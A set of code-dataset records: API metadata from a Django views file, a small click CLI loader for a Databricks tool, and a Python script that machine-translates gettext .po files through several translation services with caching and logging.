"name"}, {"api_name": "rest_framework.response.Response", "line_number": 213, "usage_type": "call"}, {"api_name": "rest_framework.viewsets.ViewSet", "line_number": 220, "usage_type": "attribute"}, {"api_name": "rest_framework.viewsets", "line_number": 220, "usage_type": "name"}, {"api_name": "django.http.HttpResponse", "line_number": 242, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 242, "usage_type": "call"}, {"api_name": "rest_framework.decorators.action", "line_number": 240, "usage_type": "call"}, {"api_name": "django.contrib.contenttypes.models.ContentType.objects.get_for_model", "line_number": 250, "usage_type": "call"}, {"api_name": "django.contrib.contenttypes.models.ContentType.objects", "line_number": 250, "usage_type": "attribute"}, {"api_name": "django.contrib.contenttypes.models.ContentType", "line_number": 250, "usage_type": "name"}, {"api_name": "datetime.datetime.strptime", "line_number": 291, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 291, "usage_type": "attribute"}, {"api_name": "datetime.timedelta", "line_number": 292, "usage_type": "call"}, {"api_name": "datetime.datetime.today", "line_number": 294, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 294, "usage_type": "attribute"}, {"api_name": "datetime.timedelta", "line_number": 294, "usage_type": "call"}, {"api_name": "rest_framework.response.Response", "line_number": 326, "usage_type": "call"}, {"api_name": "datetime.datetime.strptime", "line_number": 365, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 365, "usage_type": "attribute"}, {"api_name": "datetime.datetime.strptime", "line_number": 369, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 369, "usage_type": "attribute"}, {"api_name": "datetime.timedelta", "line_number": 370, "usage_type": "call"}, {"api_name": "rest_framework.response.Response", "line_number": 419, "usage_type": "call"}, {"api_name": "rest_framework.viewsets.ModelViewSet", "line_number": 422, "usage_type": "attribute"}, {"api_name": "rest_framework.viewsets", "line_number": 422, "usage_type": "name"}, {"api_name": "rest_framework.viewsets.ModelViewSet", "line_number": 427, "usage_type": "attribute"}, {"api_name": "rest_framework.viewsets", "line_number": 427, "usage_type": "name"}, {"api_name": "rest_framework.viewsets.ModelViewSet", "line_number": 432, "usage_type": "attribute"}, {"api_name": "rest_framework.viewsets", "line_number": 432, "usage_type": "name"}, {"api_name": "rest_framework.viewsets.ModelViewSet", "line_number": 437, "usage_type": "attribute"}, {"api_name": "rest_framework.viewsets", "line_number": 437, "usage_type": "name"}, {"api_name": "django.http.HttpResponse", "line_number": 445, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 445, "usage_type": "call"}, {"api_name": "rest_framework.decorators.action", "line_number": 441, "usage_type": "call"}, {"api_name": "rest_framework.viewsets.ReadOnlyModelViewSet", "line_number": 448, "usage_type": "attribute"}, {"api_name": "rest_framework.viewsets", "line_number": 448, "usage_type": "name"}, {"api_name": "rest_framework.viewsets.ModelViewSet", "line_number": 463, "usage_type": "attribute"}, {"api_name": "rest_framework.viewsets", "line_number": 463, "usage_type": "name"}, {"api_name": "rest_framework.viewsets.ModelViewSet", "line_number": 468, "usage_type": "attribute"}, {"api_name": "rest_framework.viewsets", "line_number": 468, "usage_type": "name"}, {"api_name": "rest_framework.viewsets.ModelViewSet", "line_number": 473, "usage_type": "attribute"}, {"api_name": "rest_framework.viewsets", "line_number": 473, "usage_type": "name"}, {"api_name": "rest_framework.viewsets.ModelViewSet", "line_number": 478, "usage_type": "attribute"}, {"api_name": "rest_framework.viewsets", "line_number": 478, "usage_type": "name"}, {"api_name": "rest_framework.viewsets.ModelViewSet", "line_number": 483, "usage_type": "attribute"}, {"api_name": "rest_framework.viewsets", "line_number": 483, "usage_type": "name"}, {"api_name": "rest_framework.viewsets.ModelViewSet", "line_number": 488, "usage_type": "attribute"}, {"api_name": "rest_framework.viewsets", "line_number": 488, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 494, "usage_type": "call"}, {"api_name": "django.core.cache.caches", "line_number": 498, "usage_type": "name"}, {"api_name": "django.http.Http404", "line_number": 502, "usage_type": "call"}, {"api_name": "django.core.signing.loads", "line_number": 505, "usage_type": "call"}, {"api_name": "django.core.signing", "line_number": 505, "usage_type": "name"}, {"api_name": "django.http.Http404", "line_number": 507, "usage_type": "call"}, {"api_name": "django.http.Http404", "line_number": 510, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 515, "usage_type": "call"}, {"api_name": "django.http.HttpResponse", "line_number": 516, "usage_type": "call"}, {"api_name": "django.shortcuts.render_to_response", "line_number": 549, "usage_type": "call"}, {"api_name": "django.shortcuts.render_to_response", "line_number": 553, "usage_type": "call"}, {"api_name": "django.shortcuts.render_to_response", "line_number": 557, "usage_type": "call"}, {"api_name": "django.shortcuts.render_to_response", "line_number": 561, "usage_type": "call"}, {"api_name": "django.http.HttpResponseRedirect", "line_number": 568, "usage_type": "call"}, {"api_name": "django.http.HttpResponseRedirect", "line_number": 586, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 590, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 595, "usage_type": "call"}, {"api_name": "django.http.HttpResponseRedirect", "line_number": 602, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 609, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 609, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 614, "usage_type": "call"}, {"api_name": "time.time", "line_number": 631, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 669, "usage_type": "call"}, {"api_name": "django.http.HttpResponseRedirect", "line_number": 680, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 688, "usage_type": "call"}, {"api_name": "django.http.HttpResponseRedirect", "line_number": 695, "usage_type": "call"}, {"api_name": "django.http.HttpResponseRedirect", "line_number": 699, "usage_type": "call"}, {"api_name": "rest_framework.status", "line_number": 702, "usage_type": "argument"}, {"api_name": "django.shortcuts.render", "line_number": 704, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 707, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 719, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 728, "usage_type": "call"}, {"api_name": "django.http.HttpResponseRedirect", "line_number": 735, "usage_type": "call"}, {"api_name": "django.http.HttpResponseRedirect", "line_number": 754, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 758, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 763, "usage_type": "call"}, {"api_name": "django.http.HttpResponseRedirect", "line_number": 770, "usage_type": "call"}, {"api_name": "django.http.HttpResponseRedirect", "line_number": 802, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 809, "usage_type": "call"}, {"api_name": "django.http.HttpResponseRedirect", "line_number": 816, "usage_type": "call"}, {"api_name": "django.contrib.contenttypes.models.ContentType.objects.get_for_model", "line_number": 818, "usage_type": "call"}, {"api_name": "django.contrib.contenttypes.models.ContentType.objects", "line_number": 818, "usage_type": "attribute"}, {"api_name": "django.contrib.contenttypes.models.ContentType", "line_number": 818, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 828, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 845, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 877, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 895, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 939, "usage_type": "call"}, {"api_name": "django.shortcuts.render_to_response", "line_number": 943, "usage_type": "call"}, {"api_name": "django.shortcuts.render_to_response", "line_number": 947, "usage_type": "call"}, {"api_name": "csv.DictReader", "line_number": 975, "usage_type": "call"}, {"api_name": "django.http.HttpResponseRedirect", "line_number": 985, "usage_type": "call"}, {"api_name": "django.http.HttpResponseRedirect", "line_number": 1001, "usage_type": "call"}, {"api_name": "django.http.HttpResponseRedirect", "line_number": 1010, "usage_type": "call"}, {"api_name": "django.http.HttpResponseRedirect", "line_number": 1019, "usage_type": "call"}, {"api_name": "django.http.HttpResponseRedirect", "line_number": 1038, "usage_type": "call"}, {"api_name": "django.http.HttpResponseRedirect", "line_number": 1041, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 1045, "usage_type": "call"}, {"api_name": "django.http.HttpResponseRedirect", "line_number": 1052, "usage_type": "call"}, {"api_name": "django.http.HttpResponseRedirect", "line_number": 1060, "usage_type": "call"}, {"api_name": "django.contrib.contenttypes.models.ContentType.objects.get_for_model", "line_number": 1061, "usage_type": "call"}, {"api_name": "django.contrib.contenttypes.models.ContentType.objects", "line_number": 1061, "usage_type": "attribute"}, {"api_name": "django.contrib.contenttypes.models.ContentType", "line_number": 1061, "usage_type": "name"}, {"api_name": "django.http.HttpResponseRedirect", "line_number": 1082, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 1087, "usage_type": "call"}]} +{"seq_id": "13767406101", "text": "import os\nimport click\n\n\nclass ComplexCLI(click.MultiCommand):\n def list_commands(self, ctx):\n files = []\n for file_name in os.listdir(\n os.path.join(os.path.dirname(__file__), \"cli_command\")\n ):\n if file_name.endswith(\".py\") and not file_name.startswith(\"__\"):\n files.append(file_name[:-3])\n files.sort()\n return files\n\n def get_command(self, ctx, name):\n try:\n mod = __import__(f\"dbks.cli_command.{name}\", None, None, [\"cli\"])\n except ImportError:\n return\n return mod.cli\n\n\n@click.command(cls=ComplexCLI)\ndef cli():\n \"\"\"\\b\n ===============================\n == dbks - a Databricks CLI ==\n ===============================\"\"\"\n pass\n", "repo_name": "vincentlam/dbks", "sub_path": "dbks/cli.py", "file_name": "cli.py", "file_ext": "py", "file_size_in_byte": 769, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "click.MultiCommand", "line_number": 5, "usage_type": "attribute"}, {"api_name": "os.listdir", "line_number": 8, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 9, "usage_type": "call"}, {"api_name": "os.path", "line_number": 9, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 9, "usage_type": "call"}, {"api_name": "click.command", "line_number": 24, "usage_type": "call"}]} +{"seq_id": "34422759404", "text": "import sys\nimport os\nimport time\nimport argparse\nimport shutil\nfrom datetime import datetime\n\n#### Polib ####\n# Installation: pip install polib\nimport polib\n\n#### ArgosTranslate ####\n# Installation: pip install argostranslate\n\n#### Deepl ####\n# Installation: pip install deepl\n\n#### Googletrans ####\n# Installation: pip install googletrans\n\n#### Translators ####\n# Installation: pip install translators\nimport translators as ts\n\nif sys.platform.startswith(\"win\"):\n import vendor.umsgpack as umsgpack\n\n #### Version ####\n from _version import __version__, __version_variant__, __copyright_short__, __title__, __description__, __package_name__, __config__\n\nelse:\n from .vendor import umsgpack as umsgpack\n\n #### Version ####\n from ._version import __version__, __version_variant__, __copyright_short__, __title__, __description__, __package_name__, __config__\n\n\n##############################################################################################################\n# Globals\n\n\nPATH = os.path.expanduser(\"~\") + \"/.\" + __package_name__\nTRANSLATOR = None\n\n\n##############################################################################################################\n# Translate\n\n\ndef translate(text, lng_src, lng_dst, translator):\n if translator == \"argostranslate\":\n return argostranslate.translate.translate(text, lng_src, lng_dst)\n\n elif translator == \"deepl-api\":\n result = TRANSLATOR.translate_text(text, target_lang=lng_dst)\n return result.text\n\n elif translator == \"googletrans\":\n result = TRANSLATOR.translate(text, src=lng_src, dest=lng_dst)\n return result.text\n\n else:\n return ts.translate_text(query_text=text, translator=translator, from_language=lng_src, to_language=lng_dst)\n\n\n##############################################################################################################\n# Log\n\n\nLOG_FORCE = -1\nLOG_CRITICAL = 0\nLOG_ERROR = 1\nLOG_WARNING = 2\nLOG_NOTICE = 3\nLOG_INFO = 4\nLOG_VERBOSE = 5\nLOG_DEBUG = 6\nLOG_EXTREME = 7\n\nLOG_LEVEL = LOG_NOTICE\nLOG_LEVEL_SERVICE = LOG_NOTICE\nLOG_TIMEFMT = \"%Y-%m-%d %H:%M:%S\"\nLOG_MAXSIZE = 5*1024*1024\nLOG_PREFIX = \"\"\nLOG_SUFFIX = \"\"\nLOG_FILE = \"\"\n\n\ndef log(text, level=3, file=None):\n if not LOG_LEVEL:\n return\n\n if LOG_LEVEL >= level:\n name = \"Unknown\"\n if (level == LOG_FORCE):\n name = \"\"\n if (level == LOG_CRITICAL):\n name = \"Critical\"\n if (level == LOG_ERROR):\n name = \"Error\"\n if (level == LOG_WARNING):\n name = \"Warning\"\n if (level == LOG_NOTICE):\n name = \"Notice\"\n if (level == LOG_INFO):\n name = \"Info\"\n if (level == LOG_VERBOSE):\n name = \"Verbose\"\n if (level == LOG_DEBUG):\n name = \"Debug\"\n if (level == LOG_EXTREME):\n name = \"Extra\"\n\n if not isinstance(text, str):\n text = str(text)\n\n text = \"[\" + time.strftime(LOG_TIMEFMT, time.localtime(time.time())) +\"] [\" + name + \"] \" + LOG_PREFIX + text + LOG_SUFFIX\n\n if file == None and LOG_FILE != \"\":\n file = LOG_FILE\n\n if file == None:\n print(text)\n else:\n try:\n file_handle = open(file, \"a\")\n file_handle.write(text + \"\\n\")\n file_handle.close()\n\n if os.path.getsize(file) > LOG_MAXSIZE:\n file_prev = file + \".1\"\n if os.path.isfile(file_prev):\n os.unlink(file_prev)\n os.rename(file, file_prev)\n except:\n return\n\n\n##############################################################################################################\n# System\n\n\n#### Panic #####\ndef panic():\n sys.exit(255)\n\n\n#### Exit #####\ndef exit():\n sys.exit(0)\n\n\n##############################################################################################################\n# Setup/Start\n\n\n#### Setup translate ####\ndef setup_translate(lng_src, lng_dst, translator=\"\", translator_key=None):\n global TRANSLATOR\n\n if translator == \"argostranslate\":\n try:\n import argostranslate.package\n import argostranslate.translate\n except ImportError:\n log(\"The 'argostranslate' module is not installed.\", LOG_ERROR)\n panic()\n try:\n argostranslate.package.update_package_index()\n available_packages = argostranslate.package.get_available_packages()\n package_to_install = next(\n filter(\n lambda x: x.from_code == lng_src and x.to_code == lng_dst, available_packages\n )\n )\n argostranslate.package.install_from_path(package_to_install.download())\n except Exception as e:\n log(str(e), LOG_ERROR)\n panic()\n\n elif translator == \"deepl-api\":\n try:\n import deepl\n except ImportError:\n log(\"The 'deepl' module is not installed.\", LOG_ERROR)\n panic()\n try:\n TRANSLATOR = deepl.Translator(translator_key)\n except Exception as e:\n log(str(e), LOG_ERROR)\n panic()\n\n elif translator == \"googletrans\":\n try:\n from googletrans import Translator\n except ImportError:\n log(\"The 'googletrans' module is not installed.\", LOG_ERROR)\n panic()\n try:\n TRANSLATOR = Translator()\n except Exception as e:\n log(str(e), LOG_ERROR)\n panic()\n\n else:\n try:\n import translators\n TRANSLATOR = translators\n if translator not in TRANSLATOR.translators_pool:\n log(\"Unknown translator '\"+translator+\"'\", LOG_ERROR)\n panic()\n except ImportError:\n log(\"The 'translators' module is not installed.\", LOG_ERROR)\n panic()\n\n\n#### Setup file ####\ndef setup_file(path, lng_src, lng_dst, force=False):\n try:\n file_src = path+\"/\"+lng_src+\"/LC_MESSAGES/base.po\"\n file_dst = path+\"/\"+lng_dst+\"/LC_MESSAGES/base.po\"\n\n if not os.path.isfile(file_src):\n log(\"Source file '\"+file_src+\"' not found\", LOG_ERROR)\n panic()\n\n if not os.path.exists(path+\"/\"+lng_dst+\"/LC_MESSAGES\"):\n os.makedirs(path+\"/\"+lng_dst+\"/LC_MESSAGES\")\n\n if force:\n if os.path.isfile(file_dst):\n os.remove(file_dst)\n\n if not os.path.isfile(file_dst):\n shutil.copyfile(file_src, file_dst)\n po = polib.pofile(file_dst)\n for entry in po:\n entry.msgstr = \"\"\n po.save()\n\n return file_src, file_dst\n except Exception as e:\n log(str(e), LOG_ERROR)\n panic()\n\n\n#### Setup #####\ndef setup(path=None, file=None, lng_src=None, lng_dst=None, translator=None, translator_key=None, cache=False, cache_read=False, cache_write=False, force=False, wait=0, autosave=50, loglevel=None, fuzzy_enable=False, fuzzy_disable=False, msgid_force=None, msgid_force_original=None):\n global LOG_LEVEL\n\n config = __config__\n\n if loglevel is not None:\n LOG_LEVEL = loglevel\n\n log(\"...............................................................................\", LOG_INFO)\n log(\" Name: \" + __title__ + \" - \" + __description__, LOG_INFO)\n log(\"Program File: \" + __file__, LOG_INFO)\n log(\" Version: \" + __version__ + \" \" + __version_variant__, LOG_INFO)\n log(\" Copyright: \" + __copyright_short__, LOG_INFO)\n log(\"...............................................................................\", LOG_INFO)\n\n if (path == None and file == None) or lng_src == None or lng_dst == None or translator == None:\n log(\"Missing parameters\", LOG_ERROR)\n panic()\n\n if lng_src == lng_dst:\n log(\"Source and target language are the same\", LOG_ERROR)\n panic()\n\n if path.endswith(\"/\"):\n path = src[:-1]\n\n if cache:\n cache_read = True\n cache_write = True\n\n log(\" PO-File Path: \" + path, LOG_INFO)\n log(\" Translator: \" + translator, LOG_INFO)\n log(\" Source language: \" + lng_src, LOG_INFO)\n log(\"Destination language(s): \" + lng_dst, LOG_INFO)\n\n if msgid_force:\n msgid_force = msgid_force.split(',')\n else:\n msgid_force = []\n\n if msgid_force_original:\n msgid_force_original = msgid_force_original.split(',')\n else:\n msgid_force_original = []\n\n setup_translate(lng_src=lng_src, lng_dst=lng_dst, translator=translator, translator_key=translator_key)\n\n if cache_read or cache_write:\n cache = {}\n if cache_write and not os.path.exists(PATH):\n os.makedirs(PATH)\n if os.path.isfile(PATH+\"/cache.data\"):\n try:\n fh = open(PATH+\"/cache.data\", \"rb\")\n cache = umsgpack.unpackb(fh.read())\n fh.close()\n except Exception as e:\n cache = {}\n if not translator in cache:\n cache[translator] = {}\n if not lng_src+\"_\"+lng_dst in cache[translator]:\n cache[translator][lng_src+\"_\"+lng_dst] = {}\n\n log(\"\", LOG_INFO)\n log(\"Translating '\" + lng_src + \"' to '\" + lng_dst + \"'. Please wait...\", LOG_INFO)\n log(\"\", LOG_INFO)\n\n if file:\n po_dict = {}\n if not os.path.isfile(file):\n log(\"File '\"+file+\"' not found\", LOG_ERROR)\n panic()\n po_file_dst = file\n else:\n po_file_src, po_file_dst = setup_file(path=path, lng_src=lng_src, lng_dst=lng_dst, force=force)\n\n po_dict = {}\n po_src = polib.pofile(po_file_src)\n for entry in po_src:\n po_dict[entry.msgid] = entry.msgstr\n\n po_dst = polib.pofile(po_file_dst)\n\n current_datetime = datetime.now()\n po_dst.lang = lng_dst\n po_dst.metadata['Language'] = lng_dst\n po_dst.metadata['POT-Creation-Date'] = current_datetime.strftime('%Y-%m-%d %H:%M%z')\n po_dst.metadata['PO-Revision-Date'] = current_datetime.strftime('%Y-%m-%d %H:%M%z')\n po_dst.save()\n\n count = len(po_dst)\n count_current = 0\n count_skipped = 0\n count_forced = 0\n count_translated_cache = 0\n count_translated_online = 0\n count_error = 0\n count_chars = 0\n\n i = 0\n for entry in po_dst:\n try:\n count_current += 1\n\n if not entry.msgid:\n count_skipped += 1\n continue\n\n for value in msgid_force:\n if value in entry.msgid:\n entry.msgstr = \"\"\n entry.fuzzy = False\n break\n\n forced = False\n for value in msgid_force_original:\n if value in entry.msgid:\n if entry.msgid in po_dict and po_dict[entry.msgid] != \"\":\n entry.msgstr = po_dict[entry.msgid]\n entry.fuzzy = False\n else:\n entry.msgstr = entry.msgid\n entry.fuzzy = False\n count_forced += 1\n forced = True\n break\n if forced:\n continue\n\n if entry.msgstr != \"\":\n count_skipped += 1\n continue\n\n if entry.msgid in po_dict:\n if entry.msgid == po_dict[entry.msgid]:\n count_skipped += 1\n continue\n if po_dict[entry.msgid] != \"\":\n text_src = po_dict[entry.msgid]\n else:\n text_src = entry.msgid\n else:\n if entry.msgid == entry.msgstr:\n count_skipped += 1\n continue\n text_src = entry.msgid\n\n cached = False\n if cache_read:\n if text_src in cache[translator][lng_src+\"_\"+lng_dst]:\n text_dst = cache[translator][lng_src+\"_\"+lng_dst][text_src]\n cached = True\n\n if not cached:\n if wait:\n time.sleep(wait/1000.0)\n text_dst = translate(text_src, lng_src, lng_dst, translator)\n\n if text_dst != \"\":\n if not cached and cache_write:\n cache[translator][lng_src+\"_\"+lng_dst][text_src] = text_dst\n\n if text_src.startswith(('.', ',', ':', ';', '-', '_', '?', '!')):\n text_src_char0 = text_src[0]\n else:\n text_src_char0 = None\n if text_src.endswith(('.', ',', ':', ';', '-', '_', '?', '!')):\n text_src_char1 = text_src[-1]\n else:\n text_src_char1 = None\n if text_dst.startswith(('.', ',', ':', ';', '-', '_', '?', '!')):\n text_dst_char0 = text_dst[0]\n else:\n text_dst_char0 = None\n if text_dst.endswith(('.', ',', ':', ';', '-', '_', '?', '!')):\n text_dst_char1 = text_dst[-1]\n else:\n text_dst_char1 = None\n\n if text_src_char0 != text_dst_char0:\n if text_dst_char0 == None:\n text_dst = text_src_char0 + text_dst\n elif text_src_char0 == None:\n text_dst = text_dst[1:]\n else:\n text_dst = text_src_char0 + text_dst[1:]\n\n if text_src_char1 != text_dst_char1:\n if text_dst_char1 == None:\n text_dst = text_dst + text_src_char1\n elif text_src_char1 == None:\n text_dst = text_dst[:-1]\n else:\n text_dst = text_dst[:-1] + text_src_char1\n\n entry.msgstr = text_dst\n\n if fuzzy_enable:\n entry.fuzzy = True\n elif fuzzy_disable:\n entry.fuzzy = False\n\n i += 1\n if i >= autosave:\n i = 0\n po_dst.save()\n if cache_write:\n try:\n fh = open(PATH+\"/cache.data\", \"wb\")\n fh.write(umsgpack.packb(cache))\n fh.close()\n except Exception as e:\n log(str(e), LOG_ERROR)\n\n if cached:\n count_translated_cache += 1\n log(str(count_current)+\"/\"+str(count)+\": \"+text_src+\" -> \"+text_dst+\" [CACHE]\", LOG_INFO)\n else:\n count_translated_online += 1\n count_chars += len(text_src)\n log(str(count_current)+\"/\"+str(count)+\": \"+text_src+\" -> \"+text_dst+\" [ONLINE]\", LOG_INFO)\n\n except Exception as e:\n count_error += 1\n log(str(e), LOG_ERROR)\n\n po_dst.save()\n\n if cache_write:\n try:\n fh = open(PATH+\"/cache.data\", \"wb\")\n fh.write(umsgpack.packb(cache))\n fh.close()\n except Exception as e:\n log(str(e), LOG_ERROR)\n\n log(\"...............................................................................\", LOG_NOTICE)\n log(\" Translator: \" + translator, LOG_NOTICE)\n log(\" Translation: \" + lng_src + \" -> \" + lng_dst, LOG_NOTICE)\n log(\" Count: \" + str(count), LOG_NOTICE)\n log(\" Skipped: \" + str(count_skipped), LOG_NOTICE)\n log(\" Forced: \" + str(count_forced), LOG_NOTICE)\n if cache_read:\n log(\" Translated Cache: \" + str(count_translated_cache), LOG_NOTICE)\n log(\" Translated Online: \" + str(count_translated_online), LOG_NOTICE)\n else:\n log(\" Translated: \" + str(count_translated_online), LOG_NOTICE)\n log(\" Errors: \" + str(count_error), LOG_NOTICE)\n log(\" Translated chars: \" + str(count_chars), LOG_NOTICE)\n log(\" PO-File translated: \" + str(po_dst.percent_translated())+\"%\", LOG_NOTICE)\n log(\"PO-File untranslated: \" + str(len(po_dst.untranslated_entries())), LOG_NOTICE)\n log(\" PO-File fuzzy: \" + str(len(po_dst.fuzzy_entries())), LOG_NOTICE)\n log(\" PO-File obsolete: \" + str(len(po_dst.obsolete_entries())), LOG_NOTICE)\n log(\"...............................................................................\", LOG_NOTICE)\n\n\n#### Start ####\ndef main():\n try:\n description = __title__ + \" - \" + __description__\n parser = argparse.ArgumentParser(description=description)\n\n parser.add_argument(\"-p\", \"--path\", action=\"store\", type=str, default=None, help=\"Option 1: Path to locales directory (source and target language folders are in this folder)\")\n parser.add_argument(\"-f\", \"--file\", action=\"store\", type=str, default=None, help=\"Option 2: .po file (direct editing of the file)\")\n\n parser.add_argument(\"-s\", \"--lng_src\", action=\"store\", type=str, default=None, help=\"Source language (2 digit locales code)\")\n parser.add_argument(\"-d\", \"--lng_dst\", action=\"store\", type=str, default=None, help=\"Destination language (2 digit locales code) (comma separated)\")\n\n parser.add_argument(\"-t\", \"--translator\", action=\"store\", type=str, default=None, help=\"Translation service provider\")\n parser.add_argument(\"-tk\", \"--translator_key\", action=\"store\", type=str, default=None, help=\"API key for the translation service provider\")\n\n parser.add_argument(\"-c\", \"--cache\", action=\"store_true\", default=False, help=\"Use an internal translation cache (read and write)\")\n parser.add_argument(\"-cr\", \"--cache_read\", action=\"store_true\", default=False, help=\"Use an internal translation cache (read)\")\n parser.add_argument(\"-cw\", \"--cache_write\", action=\"store_true\", default=False, help=\"Use an internal translation cache (write)\")\n\n parser.add_argument(\"-fo\", \"--force\", action=\"store_true\", default=False, help=\"Forcing a new translation\")\n parser.add_argument(\"-w\", \"--wait\", action=\"store\", type=int, default=0, help=\"Waiting time in milliseconds between translations\")\n parser.add_argument(\"-a\", \"--autosave\", action=\"store\", type=int, default=50, help=\"Automatic saving after x-translations\")\n parser.add_argument(\"-l\", \"--loglevel\", action=\"store\", type=int, default=LOG_LEVEL, help=\"Log level\")\n\n parser.add_argument(\"--fuzzy_enable\", action=\"store_true\", default=False, help=\"Enable the 'fuzzy' flag on all translated entries\")\n parser.add_argument(\"--fuzzy_disable\", action=\"store_true\", default=False, help=\"Disable the 'fuzzy' flag on all translated entries\")\n parser.add_argument(\"--msgid_force\", action=\"store\", type=str, default=None, help=\"Force a new translation for the following msgid's (comma separated)\")\n parser.add_argument(\"--msgid_force_original\", action=\"store\", type=str, default=None, help=\"Force original translation for the following msgid's (comma separated)\")\n\n params = parser.parse_args()\n\n setup(path=params.path, file=params.file, lng_src=params.lng_src, lng_dst=params.lng_dst, translator=params.translator, translator_key=params.translator_key, cache=params.cache, cache_read=params.cache_read, cache_write=params.cache_write, force=params.force, wait=params.wait, autosave=params.autosave, loglevel=params.loglevel, fuzzy_enable=params.fuzzy_enable, fuzzy_disable=params.fuzzy_disable, msgid_force=params.msgid_force, msgid_force_original=params.msgid_force_original)\n\n except KeyboardInterrupt:\n print(\"Terminated by CTRL-C\")\n exit()\n\n\n##############################################################################################################\n# Init\n\n\nif __name__ == \"__main__\":\n main()", "repo_name": "SebastianObi/PoTranslator", "sub_path": "potranslator/main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 19985, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "sys.platform.startswith", "line_number": 25, "usage_type": "call"}, {"api_name": "sys.platform", "line_number": 25, "usage_type": "attribute"}, {"api_name": "os.path.expanduser", "line_number": 42, "usage_type": "call"}, {"api_name": "os.path", "line_number": 42, "usage_type": "attribute"}, {"api_name": "_version.__package_name__", "line_number": 42, "usage_type": "name"}, {"api_name": "translators.translate_text", "line_number": 63, "usage_type": "call"}, {"api_name": "time.strftime", "line_number": 117, "usage_type": "call"}, {"api_name": "time.localtime", "line_number": 117, "usage_type": "call"}, {"api_name": "time.time", "line_number": 117, "usage_type": "call"}, {"api_name": "os.path.getsize", "line_number": 130, "usage_type": "call"}, {"api_name": "os.path", "line_number": 130, "usage_type": "attribute"}, {"api_name": "os.path.isfile", "line_number": 132, "usage_type": "call"}, {"api_name": "os.path", "line_number": 132, "usage_type": "attribute"}, {"api_name": "os.unlink", "line_number": 133, "usage_type": "call"}, {"api_name": "os.rename", "line_number": 134, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 145, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 150, "usage_type": "call"}, {"api_name": "argostranslate.package.package.update_package_index", "line_number": 169, "usage_type": "call"}, {"api_name": "argostranslate.package.package", "line_number": 169, "usage_type": "attribute"}, {"api_name": "argostranslate.package", "line_number": 169, "usage_type": "name"}, {"api_name": "argostranslate.package.package.get_available_packages", "line_number": 170, "usage_type": "call"}, {"api_name": "argostranslate.package.package", "line_number": 170, "usage_type": "attribute"}, {"api_name": "argostranslate.package", "line_number": 170, "usage_type": "name"}, {"api_name": "argostranslate.package.package.install_from_path", "line_number": 176, "usage_type": "call"}, {"api_name": "argostranslate.package.package", "line_number": 176, "usage_type": "attribute"}, {"api_name": "argostranslate.package", "line_number": 176, "usage_type": "name"}, {"api_name": "deepl.Translator", "line_number": 188, "usage_type": "call"}, {"api_name": "googletrans.Translator", "line_number": 200, "usage_type": "call"}, {"api_name": "os.path.isfile", "line_number": 223, "usage_type": "call"}, {"api_name": "os.path", "line_number": 223, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 227, "usage_type": "call"}, {"api_name": "os.path", "line_number": 227, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 228, "usage_type": "call"}, {"api_name": "os.path.isfile", "line_number": 231, "usage_type": "call"}, {"api_name": "os.path", "line_number": 231, "usage_type": "attribute"}, {"api_name": "os.remove", "line_number": 232, "usage_type": "call"}, {"api_name": "os.path.isfile", "line_number": 234, "usage_type": "call"}, {"api_name": "os.path", "line_number": 234, "usage_type": "attribute"}, {"api_name": "shutil.copyfile", "line_number": 235, "usage_type": "call"}, {"api_name": "polib.pofile", "line_number": 236, "usage_type": "call"}, {"api_name": "_version.__config__", "line_number": 251, "usage_type": "name"}, {"api_name": "_version.__title__", "line_number": 257, "usage_type": "name"}, {"api_name": "_version.__description__", "line_number": 257, "usage_type": "name"}, {"api_name": "_version.__version__", "line_number": 259, "usage_type": "name"}, {"api_name": "_version.__version_variant__", "line_number": 259, "usage_type": "name"}, {"api_name": "_version.__copyright_short__", "line_number": 260, "usage_type": "name"}, {"api_name": "os.path.exists", "line_number": 297, "usage_type": "call"}, {"api_name": "os.path", "line_number": 297, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 298, "usage_type": "call"}, {"api_name": "os.path.isfile", "line_number": 299, "usage_type": "call"}, {"api_name": "os.path", "line_number": 299, "usage_type": "attribute"}, {"api_name": "vendor.umsgpack.unpackb", "line_number": 302, "usage_type": "call"}, {"api_name": "vendor.umsgpack", "line_number": 302, "usage_type": "name"}, {"api_name": "os.path.isfile", "line_number": 317, "usage_type": "call"}, {"api_name": "os.path", "line_number": 317, "usage_type": "attribute"}, 